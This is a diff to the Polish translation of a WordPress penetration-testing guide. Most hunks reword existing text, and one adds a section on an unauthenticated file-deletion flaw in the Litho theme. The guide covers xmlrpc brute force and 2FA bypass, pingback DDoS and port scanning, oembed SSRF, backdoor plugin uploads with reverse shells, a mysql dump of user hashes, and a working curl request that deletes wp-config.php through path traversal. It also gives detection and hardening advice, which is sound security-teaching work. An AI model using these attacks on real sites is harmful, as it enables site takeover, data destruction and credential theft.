diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md
index 45aa7aa7c..07c063173 100644
--- a/src/network-services-pentesting/pentesting-web/wordpress.md
+++ b/src/network-services-pentesting/pentesting-web/wordpress.md
@@ -4,7 +4,7 @@
## Podstawowe informacje
-- **Przesłane** pliki znajdują się w: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
+- **Przesłane** pliki znajdują się pod adresem: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Pliki motywów można znaleźć w /wp-content/themes/,** więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie użyjesz tej ścieżki. Na przykład: Używając **motywu twentytwelve** możesz **uzyskać dostęp** do pliku **404.php** w: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Inny przydatny adres URL to:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
@@ -15,7 +15,7 @@
### **Główne pliki WordPressa**
- `index.php`
-- `license.txt` zawiera przydatne informacje, takie jak zainstalowana wersja WordPressa.
+- `license.txt` zawiera przydatne informacje, takie jak wersja zainstalowanego WordPressa.
- `wp-activate.php` jest używany do procesu aktywacji e-maila podczas konfigurowania nowej witryny WordPress.
- Foldery logowania (mogą być przemianowane, aby je ukryć):
- `/wp-admin/login.php`
@@ -26,16 +26,16 @@
- Folder `wp-content` to główny katalog, w którym przechowywane są wtyczki i motywy.
- `wp-content/uploads/` to katalog, w którym przechowywane są wszelkie pliki przesłane na platformę.
- `wp-includes/` To katalog, w którym przechowywane są pliki rdzeniowe, takie jak certyfikaty, czcionki, pliki JavaScript i widżety.
-- `wp-sitemap.xml` W wersjach WordPressa 5.5 i wyższych, WordPress generuje plik XML mapy witryny ze wszystkimi publicznymi postami oraz publicznie zapytalnymi typami postów i taksonomiami.
+- `wp-sitemap.xml` W wersjach WordPressa 5.5 i wyższych, WordPress generuje plik XML mapy witryny ze wszystkimi publicznymi postami oraz publicznie zapytującymi typami postów i taksonomiami.
-**Post exploitation**
+**Post eksploatacja**
- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniające i sól oraz prefiks tabeli bazy danych. Ten plik konfiguracyjny może być również używany do aktywacji trybu DEBUG, co może być przydatne w rozwiązywaniu problemów.
### Uprawnienia użytkowników
- **Administrator**
-- **Redaktor**: Publikuje i zarządza swoimi oraz innymi postami
+- **Redaktor**: Publikuje i zarządza swoimi i innymi postami
- **Autor**: Publikuje i zarządza swoimi postami
- **Współautor**: Pisze i zarządza swoimi postami, ale nie może ich publikować
- **Subskrybent**: Przegląda posty i edytuje swój profil
@@ -81,7 +81,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Wtyczki i motywy
-Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych Wtyczek i Motywów. Aby odkryć je wszystkie, będziesz musiał **aktywnie przeprowadzić Brute Force na liście Wtyczek i Motywów** (na szczęście istnieją zautomatyzowane narzędzia, które zawierają te listy).
+Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych Wtyczek i Motywów. Aby je wszystkie odkryć, będziesz musiał **aktywnie przeprowadzić Brute Force na liście Wtyczek i Motywów** (na szczęście istnieją zautomatyzowane narzędzia, które zawierają te listy).
### Użytkownicy
@@ -103,7 +103,7 @@ Zauważ, że ten punkt końcowy ujawnia tylko użytkowników, którzy opublikowa
Zauważ również, że **/wp-json/wp/v2/pages** może ujawniać adresy IP.
-- **Enumeracja nazw użytkowników logowania**: Podczas logowania w **`/wp-login.php`** **wiadomość** jest **inna**, jeśli wskazana **nazwa użytkownika istnieje lub nie**.
+- **Enumaracja nazw użytkowników logowania**: Podczas logowania w **`/wp-login.php`** **wiadomość** jest **inna**, jeśli wskazana **nazwa użytkownika istnieje lub nie**.
### XML-RPC
@@ -168,18 +168,18 @@ Używając prawidłowych danych uwierzytelniających, możesz przesłać plik. W
```
-Również istnieje **szybszy sposób** na brute-force'owanie poświadczeń za pomocą **`system.multicall`**, ponieważ możesz spróbować kilku poświadczeń w tym samym żądaniu:
+Również istnieje **szybszy sposób** na brutalne łamanie haseł za pomocą **`system.multicall`**, ponieważ możesz spróbować kilku haseł w tym samym żądaniu:
**Obejście 2FA**
-Ta metoda jest przeznaczona dla programów, a nie dla ludzi, i jest stara, dlatego nie obsługuje 2FA. Jeśli masz ważne poświadczenia, ale główne wejście jest chronione przez 2FA, **możesz być w stanie wykorzystać xmlrpc.php do zalogowania się z tymi poświadczeniami, omijając 2FA**. Zauważ, że nie będziesz w stanie wykonać wszystkich działań, które możesz wykonać przez konsolę, ale nadal możesz uzyskać dostęp do RCE, jak wyjaśnia to Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
+Ta metoda jest przeznaczona dla programów, a nie dla ludzi, i jest stara, dlatego nie obsługuje 2FA. Jeśli masz ważne dane logowania, ale główne wejście jest chronione przez 2FA, **możesz być w stanie wykorzystać xmlrpc.php do zalogowania się z tymi danymi, omijając 2FA**. Zauważ, że nie będziesz w stanie wykonać wszystkich działań, które możesz wykonać przez konsolę, ale nadal możesz uzyskać dostęp do RCE, jak wyjaśnia to Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS lub skanowanie portów**
Jeśli możesz znaleźć metodę _**pingback.ping**_ na liście, możesz sprawić, że Wordpress wyśle dowolne żądanie do dowolnego hosta/portu.\
-Można to wykorzystać do poproszenia **tysięcy** stron **Wordpress** o **dostęp** do jednej **lokalizacji** (w ten sposób powodowany jest **DDoS** w tej lokalizacji) lub możesz to wykorzystać, aby **Wordpress** mógł **zeskanować** jakąś wewnętrzną **sieć** (możesz wskazać dowolny port).
+Można to wykorzystać do poproszenia **tysięcy** stron **Wordpress** o **dostęp** do jednej **lokalizacji** (w ten sposób powodując **DDoS** w tej lokalizacji) lub możesz to wykorzystać, aby **Wordpress** mógł **zeskanować** jakąś wewnętrzną **sieć** (możesz wskazać dowolny port).
```html
pingback.ping
@@ -193,7 +193,7 @@ Można to wykorzystać do poproszenia **tysięcy** stron **Wordpress** o **dost
Jeśli otrzymasz **faultCode** z wartością **większą** niż **0** (17), oznacza to, że port jest otwarty.
-Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużywać tej metody, aby spowodować DDoS.
+Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak wykorzystać tę metodę do spowodowania DDoS.
**DDoS**
```html
@@ -213,11 +213,11 @@ Ten plik zazwyczaj znajduje się w katalogu głównym witryny Wordpress: **`/wp-
Gdy ten plik jest **dostępny**, wykonywane jest "**ciężkie**" zapytanie MySQL, więc może być użyty przez **atakujących** do **spowodowania** **DoS**.\
Ponadto, domyślnie `wp-cron.php` jest wywoływany przy każdym załadowaniu strony (za każdym razem, gdy klient żąda jakiejkolwiek strony Wordpress), co na stronach o dużym ruchu może powodować problemy (DoS).
-Zaleca się wyłączenie Wp-Cron i utworzenie rzeczywistego zadania cron na hoście, które wykonuje potrzebne działania w regularnych odstępach czasu (bez powodowania problemów).
+Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego zadania cron na hoście, które wykonuje potrzebne działania w regularnych odstępach czasu (bez powodowania problemów).
### /wp-json/oembed/1.0/proxy - SSRF
-Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i witryna Worpress może wysłać do Ciebie żądanie.
+Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i witryna Wordpress może wysłać do Ciebie żądanie.
Oto odpowiedź, gdy to nie działa:
@@ -231,7 +231,7 @@ https://github.com/t0gu/quickpress/blob/master/core/requests.go
To narzędzie sprawdza, czy **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy** istnieją, a jeśli tak, próbuje je wykorzystać.
-## Automatic Tools
+## Narzędzia automatyczne
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
@@ -239,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Uzyskaj dostęp przez nadpisanie bitu
-Więcej niż prawdziwy atak, to ciekawostka. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było zmienić 1 bit w dowolnym pliku wordpress. Można było więc zmienić pozycję `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zrealizować operację NOP dla NOT (`!`).
+Więcej niż prawdziwy atak, to ciekawostka. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) możesz zmienić 1 bit w dowolnym pliku wordpressa. Możesz więc zmienić pozycję `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zignorować operację NOT (`!`).
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
@@ -269,7 +269,7 @@ to get a session.
### PHP plugin
Możliwe, że można przesłać pliki .php jako wtyczkę.\
-Utwórz swój php backdoor, używając na przykład:
+Utwórz swój backdoor w PHP, używając na przykład:
.png>)
@@ -285,25 +285,25 @@ Kliknij na Procced:
.png>)
-Prawdopodobnie to nic nie zrobi, ale jeśli przejdziesz do Mediów, zobaczysz przesłaną powłokę:
+Prawdopodobnie to nic nie zrobi, ale jeśli przejdziesz do Mediów, zobaczysz przesłany shell:
.png>)
-Uzyskaj do niej dostęp, a zobaczysz URL do wykonania odwrotnej powłoki:
+Uzyskaj do niego dostęp, a zobaczysz URL do wykonania reverse shell:
.png>)
### Uploading and activating malicious plugin
-Ta metoda polega na zainstalowaniu złośliwej wtyczki, która jest znana z podatności i może być wykorzystana do uzyskania powłoki sieciowej. Proces ten przeprowadza się przez pulpit WordPressa w następujący sposób:
+Ta metoda polega na zainstalowaniu złośliwej wtyczki, która jest znana jako podatna i może być wykorzystana do uzyskania web shell. Proces ten odbywa się przez pulpit WordPressa w następujący sposób:
-1. **Pozyskanie wtyczki**: Wtyczka jest pozyskiwana z źródła takiego jak Exploit DB, jak [**tutaj**](https://www.exploit-db.com/exploits/36374).
+1. **Pozyskiwanie wtyczki**: Wtyczka jest pozyskiwana z źródła takiego jak Exploit DB jak [**tutaj**](https://www.exploit-db.com/exploits/36374).
2. **Instalacja wtyczki**:
-- Przejdź do pulpitu WordPressa, a następnie do `Pulpit > Wtyczki > Prześlij wtyczkę`.
+- Przejdź do pulpitu WordPressa, a następnie do `Dashboard > Plugins > Upload Plugin`.
- Prześlij plik zip pobranej wtyczki.
-3. **Aktywacja wtyczki**: Po pomyślnej instalacji wtyczka musi być aktywowana przez pulpit.
+3. **Aktywacja wtyczki**: Po pomyślnej instalacji wtyczki, musi być ona aktywowana przez pulpit.
4. **Eksploatacja**:
-- Z wtyczką "reflex-gallery" zainstalowaną i aktywowaną, można ją wykorzystać, ponieważ jest znana z podatności.
+- Z wtyczką "reflex-gallery" zainstalowaną i aktywowaną, można ją wykorzystać, ponieważ jest znana jako podatna.
- Framework Metasploit zapewnia exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia, można nawiązać sesję meterpreter, co daje nieautoryzowany dostęp do witryny.
- Zauważono, że to tylko jedna z wielu metod eksploatacji witryny WordPress.
@@ -315,14 +315,14 @@ Zawartość zawiera wizualne pomoce ilustrujące kroki w pulpicie WordPressa dot
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ to skrypt zaprojektowany do eskalacji podatności **Cross-Site Scripting (XSS)** do **Remote Code Execution (RCE)** lub innych krytycznych podatności w WordPressie. Aby uzyskać więcej informacji, sprawdź [**ten post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Oferuje **wsparcie dla wersji WordPressa 6.X.X, 5.X.X i 4.X.X oraz pozwala na:**
- _**Eskalacja uprawnień:**_ Tworzy użytkownika w WordPressie.
-- _**(RCE) Przesyłanie złośliwej wtyczki (backdoor):**_ Prześlij swoją złośliwą wtyczkę (backdoor) do WordPressa.
+- _**(RCE) Przesyłanie niestandardowej wtyczki (backdoor):**_ Prześlij swoją niestandardową wtyczkę (backdoor) do WordPressa.
- _**(RCE) Edycja wbudowanej wtyczki:**_ Edytuj wbudowane wtyczki w WordPressie.
- _**(RCE) Edycja wbudowanego motywu:**_ Edytuj wbudowane motywy w WordPressie.
-- _**(Custom) Złośliwe exploity:**_ Złośliwe exploity dla wtyczek/motywów stron trzecich WordPressa.
+- _**(Niestandardowe) Niestandardowe exploity:**_ Niestandardowe exploity dla wtyczek/motywów WordPressa innych firm.
## Post Exploitation
-Extract usernames and passwords:
+Wyciągnij nazwy użytkowników i hasła:
```bash
mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
@@ -332,20 +332,20 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE
```
## Wordpress Plugins Pentest
-### Powierzchnia ataku
+### Attack Surface
-Znajomość tego, jak wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa w celu znalezienia luk w jej funkcjonalności. Możesz znaleźć, jak wtyczka może ujawniać funkcjonalność w poniższych punktach oraz kilka przykładów podatnych wtyczek w [**tym wpisie na blogu**](https://nowotarski.info/wordpress-nonce-authorization/).
+Znajomość tego, jak wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa, aby znaleźć luki w jej funkcjonalności. Możesz znaleźć, jak wtyczka może ujawniać funkcjonalność w poniższych punktach oraz kilka przykładów podatnych wtyczek w [**tym wpisie na blogu**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
-Jednym ze sposobów, w jaki wtyczka może ujawniać funkcje użytkownikom, jest za pośrednictwem handlerów AJAX. Mogą one zawierać błędy logiki, autoryzacji lub uwierzytelniania. Co więcej, dość często te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu nonce Wordpress, który **może mieć każdy użytkownik uwierzytelniony w instancji Wordpress** (niezależnie od jego roli).
+Jednym ze sposobów, w jaki wtyczka może ujawniać funkcje, jest za pomocą handlerów AJAX. Mogą one zawierać błędy logiczne, autoryzacyjne lub uwierzytelniające. Co więcej, często zdarza się, że te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu nonce Wordpress, który **może mieć każdy użytkownik uwierzytelniony w instancji Wordpress** (niezależnie od jego roli).
To są funkcje, które mogą być używane do ujawniania funkcji w wtyczce:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
-**Użycie `nopriv` sprawia, że punkt końcowy jest dostępny dla wszystkich użytkowników (nawet niezalogowanych).**
+**Użycie `nopriv` sprawia, że punkt końcowy jest dostępny dla wszystkich użytkowników (nawet niezautoryzowanych).**
> [!OSTRZEŻENIE]
> Ponadto, jeśli funkcja tylko sprawdza autoryzację użytkownika za pomocą funkcji `wp_verify_nonce`, ta funkcja tylko sprawdza, czy użytkownik jest zalogowany, zazwyczaj nie sprawdza roli użytkownika. Tak więc użytkownicy o niskich uprawnieniach mogą mieć dostęp do działań o wysokich uprawnieniach.
@@ -362,13 +362,89 @@ $this->namespace, '/get/', array(
)
);
```
-`permission_callback` to funkcja zwrotna, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API.
+`permission_callback` to funkcja zwrotna, która sprawdza, czy dany użytkownik ma uprawnienia do wywołania metody API.
**Jeśli użyta jest wbudowana funkcja `__return_true`, po prostu pominie sprawdzenie uprawnień użytkownika.**
- **Bezpośredni dostęp do pliku php**
-Oczywiście, WordPress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Tak więc, w przypadku, gdy wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest wywoływana po prostu przez dostęp do pliku, będzie to podatne na wykorzystanie przez każdego użytkownika.
+Oczywiście, WordPress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Tak więc, w przypadku, gdy wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest wywoływana po prostu przez dostęp do pliku, będzie to wykorzystywalne przez każdego użytkownika.
+
+### Nieautoryzowane usuwanie dowolnych plików za pomocą wp_ajax_nopriv (Motyw Litho <= 3.0)
+
+Motywy i wtyczki WordPressa często ujawniają obsługiwacze AJAX za pomocą haków `wp_ajax_` i `wp_ajax_nopriv_`. Gdy używana jest wersja **_nopriv_**, **callback staje się dostępny dla nieautoryzowanych odwiedzających**, więc każda wrażliwa akcja musi dodatkowo implementować:
+
+1. **sprawdzenie uprawnień** (np. `current_user_can()` lub przynajmniej `is_user_logged_in()`), oraz
+2. **CSRF nonce** weryfikowane za pomocą `check_ajax_referer()` / `wp_verify_nonce()`, oraz
+3. **Ścisłą sanitację / walidację wejścia**.
+
+Motyw wielofunkcyjny Litho (< 3.1) zapomniał o tych 3 kontrolach w funkcji *Usuń rodzinę czcionek* i ostatecznie dostarczył następujący kod (uproszczony):
+```php
+function litho_remove_font_family_action_data() {
+if ( empty( $_POST['fontfamily'] ) ) {
+return;
+}
+$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
+$upload_dir = wp_upload_dir();
+$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
+$filesystem = Litho_filesystem::init_filesystem();
+
+if ( file_exists( $srcdir ) ) {
+$filesystem->delete( $srcdir, FS_CHMOD_DIR );
+}
+die();
+}
+add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
+add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
+```
+Problemy wprowadzone przez ten fragment:
+
+* **Nieautoryzowany dostęp** – zarejestrowano hak `wp_ajax_nopriv_`.
+* **Brak sprawdzenia nonce / uprawnień** – każdy odwiedzający może uzyskać dostęp do punktu końcowego.
+* **Brak sanitizacji ścieżki** – ciąg `fontfamily` kontrolowany przez użytkownika jest łączony z ścieżką systemu plików bez filtrowania, co pozwala na klasyczne przejście `../../`.
+
+#### Wykorzystanie
+
+Napastnik może usunąć dowolny plik lub katalog **poniżej katalogu głównego przesyłania** (zwykle `/wp-content/uploads/`) wysyłając pojedyncze żądanie HTTP POST:
+```bash
+curl -X POST https://victim.com/wp-admin/admin-ajax.php \
+-d 'action=litho_remove_font_family_action_data' \
+-d 'fontfamily=../../../../wp-config.php'
+```
+Ponieważ `wp-config.php` znajduje się poza *uploads*, cztery sekwencje `../` są wystarczające w domyślnej instalacji. Usunięcie `wp-config.php` zmusza WordPress do uruchomienia *kreatora instalacji* przy następnej wizycie, co umożliwia pełne przejęcie strony (atakujący jedynie podaje nową konfigurację DB i tworzy użytkownika administratora).
+
+Inne istotne cele to pliki `.php` wtyczek/motywów (aby złamać wtyczki zabezpieczające) lub reguły `.htaccess`.
+
+#### Lista kontrolna wykrywania
+
+* Każdy `add_action( 'wp_ajax_nopriv_...')` callback, który wywołuje pomocniki systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
+* Konkatenacja niesanitowanych danych wejściowych użytkownika w ścieżkach (szukaj `$_POST`, `$_GET`, `$_REQUEST`).
+* Brak `check_ajax_referer()` oraz `current_user_can()`/`is_user_logged_in()`.
+
+#### Wzmacnianie
+```php
+function secure_remove_font_family() {
+if ( ! is_user_logged_in() ) {
+wp_send_json_error( 'forbidden', 403 );
+}
+check_ajax_referer( 'litho_fonts_nonce' );
+
+$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
+$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
+
+if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
+wp_send_json_error( 'invalid path', 400 );
+}
+// … proceed …
+}
+add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
+// 🔒 NO wp_ajax_nopriv_ registration
+```
+> [!TIP]
+> **Zawsze** traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i podwójnie sprawdź:
+> • Uwierzytelnienie • Autoryzacja • Nonce • Sanityzacja wejścia • Ograniczenie ścieżki (np. za pomocą `realpath()` oraz `str_starts_with()`).
+
+---
## Ochrona WordPressa
@@ -393,7 +469,11 @@ Również, **instaluj tylko zaufane wtyczki i motywy WordPress**.
- Usuń domyślnego użytkownika **admin**
- Używaj **silnych haseł** i **2FA**
- Okresowo **przeglądaj** uprawnienia użytkowników
-- **Ogranicz próby logowania** w celu zapobiegania atakom Brute Force
+- **Ogranicz próby logowania**, aby zapobiec atakom Brute Force
- Zmień nazwę pliku **`wp-admin.php`** i zezwól na dostęp tylko wewnętrznie lub z określonych adresów IP.
+## Referencje
+
+- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
+
{{#include ../../banners/hacktricks-training.md}}